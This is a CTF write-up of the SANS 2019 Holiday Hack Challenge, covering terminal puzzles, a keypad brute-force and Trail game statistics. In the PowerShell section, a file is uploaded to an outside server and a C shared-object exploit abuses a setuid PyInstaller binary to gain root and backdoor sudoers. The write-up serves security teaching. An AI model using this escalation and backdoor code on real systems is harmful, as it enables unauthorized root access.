SANS 2019 Holiday Hack Writeup

Table of Contents


Santa once again brought us one of our favorite presents this year; another call to arms to help save Christmas from evil hackers. We were more than willing to ignore family, friends, and real life responsibilities in order to help out!

The main role ESnet plays is to connect the Department of Energy labs together with bleeding-edge, low latency, high bandwidth links to help push the boundaries of science. Due to this, we were excited to see a laser in the Laboratory. We also enjoyed the mix of offensive challenges, and defensive ones as well, that was a nice twist. We were delighted to see Zeek (nรฉ Bro) feature as much as it did, given that it was created at the same lab ESnet is based out of and we have a Zeek developer on our team. We had a blast and, as always, want to thank SANS for putting this on.

We try to show how, and more importantly, explain why we did each step of the challenges. While this makes for a long report, we hope it's got something for everyone. Each terminal challenge has an accompanying asciinema recording. We chose this format because it allows you to pause the "video" and copy commands directly. If you'd like more detail about a particular command, we recommend pasting it into

On the other hand, if this is the 1,650,000th report you're reading, allow us to point out the highlights:

Our motto is "why do things by hand when you can create a tool?" so once again weโ€™re also releasing some of the tools and scripts we wrote in our GitHub repository.

Happy reading,

The ESnet Security Team

โ€“Dop, Sam, and Vlad


The Holiday Hack Challenge is one of the most elaborate network security competitions (and KringleCon is the largest online security conference!). The complex architecture allows for challenges which are incredibly realistic, and that can scale to tens of thousands of competitors. However, complexity can often be the enemy of security. Just like a real attacker targeting a real organization or individual, the work begins long before the attack, during the reconnaisance phase. Members of our team have done HHC Recon the past few years with great success. Even knowing a hostname or two can be a huge help.

Without any scope or authorization, you must not attack or affect the infrastructure during reconnaisance.

For more details, check out past write-ups. Using reverse WHOIS, we discover a new domain name,, registered in January 2019. This could be a red herring, though…

Apart from searching for new domains, we've also been keeping an eye on changes to domains we already know about. Looking at certificate transparency logs once again, we find a certificate with 2 SANs:, which was used in HHC18, and


Figure 1: in CT logs

Checking WHOIS data for we see that it was created in May 2019. We also notice that our reverse WHOIS technique was thwarted via WHOIS privacy. resolves to the same IP address as

Our guess that this is "Elf University" is strengthened by Ed's tweet, with interesting capitalization:


  1. Talk to Santa in the Quad

    Santa was also in the Quad, you guys! (With an umbrella…)

  1. Find the Turtle Doves

    By the fireplace in the Student Union.

  1. Unredact Threatening Document


  1. Windows Log Analysis: Evaluate Attack Outcome


  1. Windows Log Analysis: Determine Attacker Technique


  1. Network Log Analysis: Determine Compromised System

  1. Splunk

    Kent you are so unfair. And we were going to make you the king of the Winter Carnival.

  1. Get Access To The Steam Tunnels

    Krampus Hollyfeld

  1. Bypassing the Frido Sleigh CAPTEHA


  1. Retrieve Scraps of Paper from Server

    Super Sled-O-Matic

  1. Recover Cleartext Document

    Machine Learning Sleigh Router Finder

  1. Open the Sleigh Shop Door

    The Tooth Fairy

  1. Filter Out Poisoned Sources of Weather Data


Terminals & Mini-Challenges

Escape Ed

Direct link: ?challenge=edescape

In the train station.


Oh, many UNIX tools grow old, but this one's showing gray.
That Pepper LOLs and rolls her eyes, sends mocking looks my way.
I need to exit, run - get out! - and celebrate the yule.
Your challenge is to help this elf escape this blasted tool.

-Bushy Evergreen

Exit ed.

I'm glad you're here. I'm the target of a terrible trick.

Pepper Minstix is at it again, sticking me in a text editor.

Pepper is forcing me to learn ed.

Even the hint is ugly. Why can't I just use Gedit?

Please help me just quit the grinchy thing.

ed Editor Basics: Ed Is The Standard Text Editor


We must escape the ed editor. This is reminiscent of last year's Essential Editor challenge, where we had to escape vi. vi is actually a descendant of ed.

The website from hint has some useful advice for us:

End all commands with an <enter>

When done editing, give the command "w", then "q".

Following the instructions in the hint, we manage to escape:

Loading, please wait......

You did it! Congratulations!

Consulting the ed man page, we determine that this issued the "write" (save) command, followed by the "quit" command. We could've combined these into a single wq command, or just quit immediately if we didn't care about potential changes.

Linux Path

Direct link: ?challenge=path

In Hermey Hall.


I need to list files in my home/
To check on project logos
But what I see with ls there,
Are quotes from desert hobos...

which piece of my command does fail?
I surely cannot find it.
Make straight my path and locate that-
I'll praise your skill and sharp wit!

Get a listing (ls) of your current directory.

Find and run the real ls.

I need to review some files in my Linux terminal, but I can't get a file listing.

I know the command is ls, but it's really acting up.

Do you think you could help me out? As you work on this, think about these questions:

1. Do the words in green have special significance?
2. How can I find a file with a specific name?
3. What happens if there are multiple executables with the same name in my $PATH?

Linux Path: Green words matter, files must be found, and the terminal's $PATH matters.


To find a file with a specific name, several words in green would work: which, find, and locate. We'll use which, as it takes the PATH environment variable into account. We'll invoke it with the -a flag to list all instances, and not just the first one. If duplicate files exist, the order the directory appears in the PATH will determine which command gets run.

elf@term_path:~$ which -a ls
elf@term_path:~$ /bin/ls
' '   rejected-elfu-logos.txt
Loading, please wait......

You did it! Congratulations!

We discover that the real ls is actually /bin/darealmvp. Running that, we're treated to some lovely hidden artwork:

elf@d561ee2abb68:~$ darealmvp -la
total 52
drwxr-xr-x 1 elf  elf   4096 Dec  8 14:19 ' '
drwxr-xr-x 1 elf  elf   4096 Dec  8 14:19  .
drwxr-xr-x 1 root root  4096 Nov 21 19:46  ..
-rw-r--r-- 1 elf  elf    220 Apr 18  2019  .bash_logout
-rw-r--r-- 1 elf  elf   3596 Jan  5 04:17  .bashrc
-rw-r--r-- 1 elf  elf  13838 Nov 21 19:46  .elfscream.txt
-rw-r--r-- 1 elf  elf    807 Apr 18  2019  .profile
-rw-r--r-- 1 elf  elf    401 Nov 21 19:46  rejected-elfu-logos.txt
elf@d561ee2abb68:~$ cat .elfscream.txt 
I'm trapped in an ASCII art factory - send help!

KKkxxxxk00d;;llllcllcc:::c:::;;;;;:::cccc:.  .;xkkOOOO
KKOkxkO000d,cododxddxxxkkkkOOOkkkkkkkkkxxo.   .:kkOOOO
KKkllok00x,,kOOOOOOdoodooxOOOOOOkxc:::ccdx;.  ..:kkOOO
KO;dOx:oOl,dOOO0Oklxc.oklxOOOOOklcd;.:xdcdd..   .okkOO
Kk;dkx:,xc,xOOO0Oxlddlc:dOOOOOOk:dxl:oo:cxx;.    ckkkO
KKk:;;:xOo,dOOO0OOkdooxOOOOOOOOkxc::::cdxxxl ..  'xkkO
KKKKK0KK00d;:kOOOOOOOOOOOOk:  .;xkkkkkkkkxx..  .,xkkOO
KKKKK000000x::xOOOOOOOOOOOOdodxkkkkkkkkkkxx.  .'dkkOOO
KKKK00000000Od::okOOOOOOOkkxl,';cdkkkkkkxx: ..;xkkkOOO
KKKK000000000OOo,';xkOOkko'     .,dxxkkxxc...lkkkOOOOO
KKKK000000000OOOkl..dkkkx..  .   .lxxxxx;..'dkkkkOOOOO
KKK00000000000OOOOo.:kkkx.       .cxxxd'  ;xkkkkOOOOOO
KK0000000000000OOOk;'xkkk,       .cxxo...lkkkkkkOOOOOO
KK000000000000OOOOOk,okkko.      .odd'..dxkkkkkkkkkOOO
KK00000000000OOOOOOOo;xkkkc.     ;dd'..lxxkkkkkkkkkkkk
00000000000OOOOOOOOOOkc:xkkkxxxdoc.  .dxxkkkkkkkkkkkkk
0000000000OOOOOOOOOOOOko:oxxxdl'    .oxxkkkkkkkkkkkkkk
00000000OOOOOOOOOOOOOOkkxl;.     . .:xxkkkkkkkkkkkkkkk

Xmas Cheer Laser

Direct link: ?challenge=powershell

In the laboratory in Hermey Hall.


๐Ÿ—ฒ                                                                                ๐Ÿ—ฒ
๐Ÿ—ฒ Elf University Student Research Terminal - Christmas Cheer Laser Project       ๐Ÿ—ฒ
๐Ÿ—ฒ ------------------------------------------------------------------------------ ๐Ÿ—ฒ
๐Ÿ—ฒ The research department at Elf University is currently working on a top-secret ๐Ÿ—ฒ
๐Ÿ—ฒ Laser which shoots laser beams of Christmas cheer at a range of hundreds of    ๐Ÿ—ฒ
๐Ÿ—ฒ miles. The student research team was successfully able to tweak the laser to   ๐Ÿ—ฒ
๐Ÿ—ฒ JUST the right settings to achieve 5 Mega-Jollies per liter of laser output.   ๐Ÿ—ฒ
๐Ÿ—ฒ Unfortunately, someone broke into the research terminal, changed the laser     ๐Ÿ—ฒ
๐Ÿ—ฒ settings through the Web API and left a note behind at /home/callingcard.txt.  ๐Ÿ—ฒ
๐Ÿ—ฒ Read the calling card and follow the clues to find the correct laser Settings. ๐Ÿ—ฒ
๐Ÿ—ฒ Apply these correct settings to the laser using it's Web API to achieve laser  ๐Ÿ—ฒ
๐Ÿ—ฒ output of 5 Mega-Jollies per liter.                                            ๐Ÿ—ฒ
๐Ÿ—ฒ                                                                                ๐Ÿ—ฒ
๐Ÿ—ฒ Use (Invoke-WebRequest -Uri http://localhost:1225/).RawContent for more info.  ๐Ÿ—ฒ
๐Ÿ—ฒ                                                                                ๐Ÿ—ฒ

Use the API to power the laser to 5 Mega-Jollies per liter.

I'm Sparkle Redberry and Imma chargin' my laser!

Problem is: the settings are off.

Do you know any PowerShell?

It'd be GREAT if you could hop in and recalibrate this thing.

It spreads holiday cheer across the Earth …

… when it's working!


Weโ€™re in PowerShell and out of our normal element. Weโ€™ll be relying heavily on the SANS Cheatsheet for this one.

We'll follow the directions in the logon message first. The SANS Cheatsheet also tells us that Get-Content will display file contents.

PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/).Content
Christmas Cheer Laser Project Web API
Turn the laser on/off:
GET http://localhost:1225/api/on
GET http://localhost:1225/api/off
Check the current Mega-Jollies of laser output
GET http://localhost:1225/api/output
Change the lense refraction value (1.0 - 2.0):
GET http://localhost:1225/api/refraction?val=1.0
Change laser temperature in degrees Celsius:
GET http://localhost:1225/api/temperature?val=-10
Change the mirror angle value (0 - 359):
GET http://localhost:1225/api/angle?val=45.1
Change gaseous elements mixture:
POST http://localhost:1225/api/gas
POST BODY EXAMPLE (gas mixture percentages):
PS /home/elf> Get-Content /home/callingcard.txt
What's become of your dear laser?
Fa la la la la, la la la la
Seems you can't now seem to raise her!
Fa la la la la, la la la la
Could commands hold riddles in hist'ry?
Fa la la la la, la la la la
Nay! You'll ever suffer myst'ry!
Fa la la la la, la la la la

The calling card mentions commands holding riddles in history. Checking the history isn't on our cheat-sheet, but with some searching, we find the following solution:

PS /home/elf> Get-History
  Id CommandLine
  -- -----------
   1 Get-Help -Name Get-Process
   2 Get-Help -Name Get-*
   3 Set-ExecutionPolicy Unrestricted 
   4 Get-Service | ConvertTo-HTML -Property Name, Status > C:\services.htm 
   5 Get-Service | Export-CSV c:\service.csv 
   6 Get-Service | Select-Object Name, Status | Export-CSV c:\service.csv 
   7 (Invoke-WebRequest -Uri
   8 Get-EventLog -Log "Application"
   9 I have many name=value variables that I share to applications system wide. At a command I will reveal my secrets once you Get my Child Items.
  10 (Invoke-WebRequest -Uri -Uri http://localhost:1225/).Content
  11 Get-Content /home/callingcard.txt

We got the command for setting the angle. We also got a hint pointing us to child items in environment variables. Once more, we do some research, and come up with:

PS /home/elf> (Invoke-WebRequest -Uri
Updated Mirror Angle - Check /api/output if 5 Mega-Jollies per liter reached.
PS /home/elf> Get-ChildItem env:  
Name                           Value
----                           -----
_                              /bin/su
HOME                           /home/elf
HOSTNAME                       35dbd250296c
LANG                           en_US.UTF-8
LC_ALL                         en_US.UTF-8
LOGNAME                        elf
MAIL                           /var/mail/elf
PATH                           /opt/microsoft/powershell/6:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
PSModuleAnalysisCachePath      /var/cache/microsoft/powershell/PSModuleAnalysisCache/ModuleAnalysisCache
PSModulePath                   /home/elf/.local/share/powershell/Modules:/usr/local/share/powershell/Modules:/opt/microsoft/powershell/6/Modules
PWD                            /home/elf
RESOURCE_ID                    undefined
riddle                         Squeezed and compressed I am hidden away. Expand me from my prison and I will show you the way. Recurse through all /etc and Sort on my LastWriteTime to reveal im the newest of all.
SHELL                          /home/elf/elf
SHLVL                          1
TERM                           xterm
USER                           elf
userdomain                     laserterminal
USERDOMAIN                     laserterminal
USERNAME                       elf
username                       elf

We find a riddle:

Squeezed and compressed I am hidden away. Expand me from my prison and I will show you the way. Recurse through all /etc and Sort on my LastWriteTime to reveal im the newest of all.

Let's find the newest file, and uncompress it. We have an example with | sort in the cheatsheet, and the riddle gives us an extra nudge to sort on a particular field. We're on our own for figuring out how to expand an archive, luckily the name is rather intuitive.

PS /home/elf> Get-ChildItem -Recurse /etc | sort LastWriteTime

< truncated >

    Directory: /etc/apt
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
--r---            1/4/20  4:25 AM        5662902 archive
PS /home/elf> Expand-Archive /etc/apt/archive
PS /home/elf> Get-ChildItem -Recurse archive
    Directory: /home/elf/archive
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----            1/4/20  4:39 AM                refraction
    Directory: /home/elf/archive/refraction
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
------           11/7/19 11:57 AM            134 riddle
------           11/5/19  2:26 PM        5724384 runme.elf

Sounds like we have an ELF binary to run. However, if we try that, we get an permission denied message. We can get past this by fixing the permissions:

PS /home/elf> chmod +x ./archive/refraction/runme.elf
PS /home/elf> ./archive/refraction/runme.elf

We'll set our second parameter, the refraction, to the correct value, and then check out the riddle from the archive:

PS /home/elf> (Invoke-WebRequest -Uri
Updated Lense Refraction Level - Check /api/output if 5 Mega-Jollies per liter reached.
PS /home/elf> Get-Content ./archive/refraction/riddle       
Very shallow am I in the depths of your elf home. You can find my entity by using my md5 identity:


We can combine a couple cheatsheet examples to come up with:

PS /home/elf> Get-ChildItem /home/elf -File -Recurse | 
   Where-Object {(Get-FileHash -Algorithm MD5 -Path $_).Hash โ€“eq "25520151A320B5B0D21561F92C8F6224"}

    Directory: /home/elf/depths/produce

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
--r---          11/18/19  7:53 PM            224 thhy5hll.txt

The previous command was a bit tricky. Without specifying -File, Powershell tries to hash each directory, which generates an error message. We can now either view /home/elf/depths/produce/thhy5hll.txt, or tweak our previous command:

PS /home/elf> Get-ChildItem /home/elf -File -Recurse | 
   Where-Object {(Get-FileHash -Algorithm MD5 -Path $_).Hash โ€“eq "25520151A320B5B0D21561F92C8F6224"} | 

I am one of many thousand similar txt's contained within the deepest of /home/elf/depths. Finding me will give you the most strength but doing so will require Piping all the FullName's to Sort Length.

One more value acquired. The next challenge is similar to how we found the archive, but we do as the riddle says, and pipe the FullNames to Sort Length:

PS /home/elf> (Invoke-WebRequest -Uri
Updated Laser Temperature - Check /api/output if 5 Mega-Jollies per liter reached.
PS /home/elf> (Get-ChildItem -Recurse /home/elf/depths).FullName | sort Length

< truncated >


Viewing that file gives us:

Get process information to include Username identification. Stop Process to show me you're skilled and in this order they must be killed:

bushy alabaster minty holly

Do this for me and then you /shall/see .

The cheatsheet tells us we can use Get-Process. However, by default, it doesn't include the username. Using the help puts us on the right track:

PS /home/elf> Get-Process
 NPM(K)    PM(M)      WS(M)     CPU(s)      Id  SI ProcessName
 ------    -----      -----     ------      --  -- -----------
      0     0.00      29.46       1.47       6   1 CheerLaserServi
      0     0.00     133.25      67.58      31   1 elf
      0     0.00       3.43       0.03       1   1 init
      0     0.00       0.78       0.00      25   1 sleep
      0     0.00       0.81       0.00      26   1 sleep
      0     0.00       0.80       0.00      27   1 sleep
      0     0.00       0.80       0.00      29   1 sleep
      0     0.00       3.46       0.00      30   1 su
PS /home/elf> Get-Process -?
    Get-Process [[-Name] <string[]>] [-Module] [-FileVersionInfo] [<CommonParameters>]
    Get-Process [[-Name] <string[]>] -IncludeUserName [<CommonParameters>]

< truncated >

PS /home/elf> Get-Process -IncludeUserName
     WS(M)   CPU(s)      Id UserName                       ProcessName
     -----   ------      -- --------                       -----------
     29.46     1.56       6 root                           CheerLaserServi
    134.27    67.73      31 elf                            elf
      3.43     0.03       1 root                           init
      0.78     0.00      25 bushy                          sleep
      0.81     0.00      26 alabaster                      sleep
      0.80     0.00      27 minty                          sleep
      0.80     0.00      29 holly                          sleep
      3.46     0.00      30 root                           su

At this point, we know that we need to kill the processes in the right order (25, 26, 27, 29). We could search for how to kill processes in Powershell, or we could use the built-in tools, as directed by the cheatsheet:

PS /home/elf> Get-Command *Process
CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Alias           Stop-Process                                                  
Cmdlet          Debug-Process                                Microsoft.PowerShell.Management
Cmdlet          Enter-PSHostProcess                          Microsoft.PowerShell.Core
Cmdlet          Exit-PSHostProcess                           Microsoft.PowerShell.Core
Cmdlet          Get-Process                                  Microsoft.PowerShell.Management
Cmdlet          Start-Process                                Microsoft.PowerShell.Management
Cmdlet          Stop-Process                                 Microsoft.PowerShell.Management
Cmdlet          Wait-Process                                 Microsoft.PowerShell.Management
PS /home/elf> Stop-Process 25
PS /home/elf> Stop-Process 26
PS /home/elf> Stop-Process 27
PS /home/elf> Stop-Process 29

At this point, we're stuck a bit, until we re-read the clue:

PS /home/elf> Get-ChildItem /shall
    Directory: /shall
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
--r---            1/4/20  9:02 PM            149 see
PS /home/elf> Get-Content /shall/see
Get the .xml children of /etc - an event log to be found. Group all .Id's and the last thing will be in the Properties of the lonely unique event Id.

Once more, adapting an example from the cheatsheet:

PS /home/elf> Get-ChildItem /etc -recurse -include *.xml

    Directory: /etc/systemd/system/

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
--r---          11/18/19  7:53 PM       10006962 EventLog.xml

At this point, the training wheels are off, and we need to find a way to parse this file, and group the ids ourselves. After a few iterations, we find:

PS /home/elf> Import-Clixml /etc/systemd/system/ | group Id            
Count Name                      Group
----- ----                      -----
    1 1                         {System.Diagnostics.Eventing.Reader.EventLogRecord}
   39 2                         {System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.Eveโ€ฆ
  179 3                         {System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.Eveโ€ฆ
    2 4                         {System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord}
  905 5                         {System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.Eveโ€ฆ
   98 6                         {System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.Eveโ€ฆ
PS /home/elf> Import-Clixml /etc/systemd/system/ | where {$_.Id -eq 1}
Message              : Process Create:
                       UtcTime: 2019-11-07 17:59:56.525
                       ProcessGuid: {BA5C6BBB-5B9C-5DC4-0000-00107660A900}
                       ProcessId: 3664
                       Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                       FileVersion: 10.0.14393.206 (rs1_release.160915-0644)
                       Description: Windows PowerShell
                       Product: Microsoftยฎ Windowsยฎ Operating System
                       Company: Microsoft Corporation
                       OriginalFileName: PowerShell.EXE
                       CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c 
                       "`$correct_gases_postbody = @{`n    O=6`n    H=7`n    He=3`n    N=4`n    
                       Ne=22`n    Ar=11`n    Xe=10`n    F=20`n    Kr=8`n    Rn=9`n}`n"

With this, we have our last parameter. We think that `n is actually a newline. We just need to set the gas mixture, turn on the laser, and check the output:

PS /home/elf> $correct_gases_postbody = @{
>>     O=6
>>     H=7
>>     He=3
>>     N=4
>>     Ne=22
>>     Ar=11
>>     Xe=10
>>     F=20
>>     Kr=8
>>     Rn=9
>> }
PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/api/gas -Body $correct_gases_postbody -Method POST ).Content
Updated Gas Measurements - Check /api/output if 5 Mega-Jollies per liter reached.
PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/api/on).Content
Christmas Cheer Laser Powered On
PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/api/output).Content

Success! - 5.23 Mega-Jollies of Laser Output Reached!

Escalating to Root

This terminal was incredibly challenging for us. We couldnโ€™t tell if it was painful simply due to our lack of experience with Powershell, or because we were meant to solve it a different way (perhaps through container escape?).

Solving it only using Powershell was rewarding, but we had a nagging feeling that something wasn't quite right. We had figured out that we were running Powershell on Linux within Docker. Because of this, even though itโ€™s running Powershell, standard Linux permissions apply. One glaring exception to this was being able to stop other users' processes. We decided to take a deeper look at the Stop-Process alias.

PS /home/elf> Get-Alias -Definition Stop-Process
CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Alias           kill -> kill                                                  
Alias           spps -> kill       
PS /home/elf> Get-Command -All kill
CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Alias           kill -> kill                                                  
Application     kill                                         /usr/bin/kill

Poking around at the kill command, we notice that it's not respecting any options that the usual version of kill uses. Additionally, it's usually installed in /bin and not /usr/bin. We suspect this file has the setuid permission, so it will run with elevated privileges.

We'll pull the file off the system and examine it more closely. Since this container is connected to the Internet, there's a number of ways we can retrieve the file. We'll encode the file, do an HTTP POST to a server that will store uploads, then compare hashes for integrity.

PS /home/elf> $wc = New-Object System.Net.WebClient
PS /home/elf> $wc.UploadFile("","/usr/bin/kill")
PS /home/elf> Get-FileHash -Algorithm MD5 /usr/bin/kill
Algorithm       Hash                                                                   Path
---------       ----                                                                   ----

MD5             C2969E791C5623A6F3A4F354430241D3                                       /usr/bin/kill

On a different system, we determine this is a Linux (ELF) binary, and is dynamically linked. It pulls in some libraries as dependencies.

vlad@test $ file kill
kill: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, 
  for GNU/Linux 2.6.32, BuildID[sha1]=28ba79c778f7402713aec6af319ee0fbaf3a8014, stripped
vlad@test $ ldd ./kill                                                                                                                                                                                                                                  (0x00007fff5bb9c000) => /lib/x86_64-linux-gnu/ (0x00007fc2210cc000) => /lib/x86_64-linux-gnu/ (0x00007fc220eaf000) => /lib/x86_64-linux-gnu/ (0x00007fc220abe000)
        /lib64/ (0x00007fc2212d0000)

Normally this would be sufficient for an attack, as we can use LD_PRELOAD to load a malicious library before the program executes. However, the dynamic loader (ld) by default runs in "secure-execution mode" for setuid binaries, to prevent just this type of attack.

We'll inspect its behavior with ltrace, which will log calls to standard library functions.

vlad@test $ ltrace -f -o test_kill_abcdabcd ./kill abcdabcd
vlad@test $ head test_kill_abcdabcd
4042 __libc_start_main(0x401a70, 2, 0x7fff6f577e28, 0x405390 <unfinished ...>
4042 calloc(1, 16528)
4042 readlink(0x4057c4, 0x7fff6f574d20, 4096, 0)
4042 stpcpy(0x7fff6f576d20, "/home/vlad/kill")
4042 __strcpy_chk(0x7fff6f573d10, 0x7fff6f574d20, 4096, 0x7ff164c2c000)
4042 dirname(0x7fff6f573d10, 0x7fff6f574d20, 16, 3360)
4042 strcpy(0x7fff6f575d20, "/home/vlad")
4042 getenv("_MEIPASS2")
4042 unsetenv("_MEIPASS2")
4042 strnlen(0x7fff6f575d20, 4096, 0x7fff6f574d2a, 95)

Right off the bat, we see the program trying to load an environment variable named _MEIPASS2. Searching tells us this comes from McMillan Enterprise Installer, the ancestor of PyInstaller. If we set it and re-run, we see:

vlad@test $ _MEIPASS2=pass2_value ltrace -f -o test_kill_abcdabcd ./kill abcdabcd
[5664] Error loading Python lib 'pass2_value/': 
    dlopen: pass2_value/ cannot open shared object file: No such file or directory

Well, that was easy. We've found a way to load a malicious shared-object (library) file. At this point, we built a shared-object file to verify our assumption that kill was setuid root, which it was. In the interest of time, we'll skip that, and present our exploit code. This was made more complicated due to the fact that many tools had been removed.

#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
  FILE* sudoers;

  // Don't want subsequent PyInstaller binaries to break

  // Escalate to root

  // Fix restricted permissions
  chmod("/usr/bin/sudo", 04111);

  // Make chmod setuid-root
  chmod("/bin/chmod", 04755);

  // Add ourselves to /etc/sudoers
  char* line = "elf ALL=(ALL) NOPASSWD:ALL\n";
  chmod("/etc/sudoers", 0666);

  sudoers = fopen("/etc/sudoers", "a");
  fwrite(line, sizeof(char), strlen(line), sudoers);

  // sudo won't run without correct permissions
  chmod("/etc/sudoers", 0444);

This code installs two backdoors. First, we set chmod setuid root, so we can change permissions on any file. We also add ourselves to be able to run any command as root via sudo. We can build this into a shared-object file with: gcc -Os -fPIC -shared -o exploit.c -nostartfiles.

We set our environment variable, download the file, and, upon running kill, the system will load our library and execute the code in the _init function.

PS /home/elf> $Env:_MEIPASS2 = "/home/elf"
PS /home/elf> Invoke-WebRequest -Uri -OutFile
PS /home/elf> kill                                                                                                                                                                                                                
[118] Cannot dlsym for Py_DontWriteBytecodeFlag                                                                                                                                                                                   
PS /home/elf> sudo su -                                                                                                                                                                                                           
-su: groups: command not found                                                                                                                                                                                                    
-su: /usr/bin/locale-check: No such file or directory
-su: mesg: command not found

While we may be root itโ€™s a limited victory, as weโ€™re still on an injured system with many useful files removed.

Frosty Keypad

Direct link:

Right side of the Quad.


Exploring the right side of the Quad, we find Tangle Coalbox, who needs our help:

I'm sleuthing again, and I could use your help.

Ya see, this here number lock's been popped by someone.

I think I know who, but it'd sure be great if you could open this up for me.

I've got a few clues for you.

1. One digit is repeated once.
2. The code is a prime number.
3. You can probably tell by looking at the keypad which buttons are used.

Crack the keypad codee


Sure enough, if we inspect the keypad closely, we notice that some keys look different:


Figure 2: "How does it feel to be frozen?!"

Using the clues from Tangle, we determine that we're looking for a 4-digit prime number, composed of 1, 3, and 7, with one number repeated once.

The following Python snippet will generate all the options:

# We start with our keys
warm_keys = ["1", "3", "7"]

for option in itertools.product(warm_keys, repeat=4):
    # Remove anything where the most common element appears more than twice
    most_common, count = collections.Counter(option).most_common(1)[0]
    if count > 2:

    # Convert to int
    num = int("".join(option))

    if is_prime(num):

There's only five options: 1373, 1733, 3137, 3371, 7331. At this point, astute observers might recognize 7331 as "leet" backwards, and sure enough, that's the answer. If not, it's easy enough to try the five possibilities.

For the truly l33t, however, we offer this snippet:

for num in $(tools/
    do echo "Trying $num..."
    curl -XPOST "$num&resourceId="

Holiday Hack Trail

In the long hallway of the dorm, this year's challenge features a great homage to the classic Oregon Trail video game.



Figure 3: Welcome to the Trail!

I just LOVE this old game!

I found it on a 5 1/4" floppy in the attic.

You should give it a go!

If you get stuck at all, check out this year's talks.

One is about web application penetration testing.

Good luck, and don't get dysentery!

Reach the end by Christmas. …and don't get dysentery!

Web App Pen Testing: Web Apps: A Trailhead

Solution 0: Strategy Guide

The requirements to win the game are:

  1. Travel a distance of 8,000,
  2. Always have at least 2 runners,
  3. Always have at least 1 reindeer,
  4. Always have at least 1 person with health > 0,
  5. Arrive by December 25th.

If your goal is to complete the game "legitimately," we offer the following tips.

There are 4 characters traveling together who will need to be fed or will starve. Starving, or other conditions, will cause the characters to lose health. Characters can be suddenly healed of their affliction, or they can be treated with medicine.

On the trail you will usually move forward by a distance depending on how many reindeer you have and your pace:

Reindeer Steady Distance Strenuous (1.5x) Grueling (2x)
1 17 - 32 26 - 48 35 - 64
2 26 - 48 39 - 72 52 - 96
3 30 - 56 45 - 84 61 - 112
4 32 - 60 49 - 90 65 - 120
5 33 - 62 50 - 93 67 - 124
6 34 - 63 51 - 95 68 - 126
7 34 - 63 52 - 95 69 - 127
8+ 34 - 64 52 - 96 69 - 128
54+ 35 - 64 52 - 96 70 - 129

Your characters will eat food according to the pace, with 2, 3, or 4 food eaten per (alive) character per day.

While you're on the trail, four types of events can happen. Your characters can be struck by an illness ("Low Blood Sugar," "No Holiday Cheer," or "Toothache"), or they can suddenly feel better or be filled with holiday cheer, which will remove the illness effects. Similar good and bad events can happen with your travel and supplies:

Bad Travel Event Good Travel Event
Oh no! One of your sleigh's runners has broken. You found a spare runner lying on the ground!
Oh dear! One of your reindeer has vanished. You managed to tame a wild reindeer!
A grinch came in the night and stole X pieces of ammo. You found an abandoned sleigh with X pieces of ammo inside!
Oh my! Your team has slipped backwards X. A strong, Christmas wind pushed your sleigh ahead an extra X!
--- You found X morsels of Christmas cookies lying around! #whatcouldgowrong
Your was waylaid by a flock of (VERY lost) penguins! No forward progress is made. A strong, Christmas wind pushed your sleigh ahead an extra X!
Your team takes a day to admire the Aurora Borealis! No forward progress is made. ---

The travel events happen in isolation, i.e. over 100,000 samples we never observed two bad travel events occuring simultaneously, or two good travel events. One good and one bad travel event can occur at the same time, though.

Events dealing with your characters' health can occur multiple times on a turn (multiple good events, multiple bad events, or even a combination).

Based on these samples, we estimate the following probabilities of one such event occuring on a given turn:

Event type Probability
Bad health event 3%
Bad travel event 4.5%
Good travel event 6%
Good health event 20%

Runners and Reindeer
The probability of finding runners or reindeer is twice as high than of losing them.

When you encounter a body of water, you can try to ford the river, hire a ferry for 100 money, or caulk and float across.

Fording Outcome Probability
Lose nothing! 9%
Lose 1 Food 46%
Lose 1 Med 45%
Lose [1-9] Ammo 82% total (9%/option)
Ferry Outcome Probability
Ferry fail! Lose nothing! 4.6%
Ferry fail! Lose 1 Ammo 4.6%
Safely across 90%
Caulk Outcome Probability
Lose nothing! 50%
Lose 1 Reindeer 20%
Lose 2 Reindeer 10%
Lose [1-9] Food 45% (5%/option)
Lose [1-9] Meds 45% (5%/option)
Lose [1-50] Ammo 50% (1%/option)

Always Ford Rivers
While it's less likely to make it across completely unscathed, fording losses are very minimal, and you never risk any reindeer.

Finally, you have two more actions available. Hunting will return between 0 and 76 morsels of food, roughly with equal probability. When trading, you'll request a certain type of item. If you can find someone willing to trade with you, you'll be offered a random amount and type of another item.

Wanted No Trade Offered Money Food Ammo Meds Runners Reindeer
Money 18% 1   1 1 1 1 1
Food 30% [20-40] [7-10]   1 1 1 1
Ammo 33% [5-20] [25-39], by 2's [5-8]   1 1 1
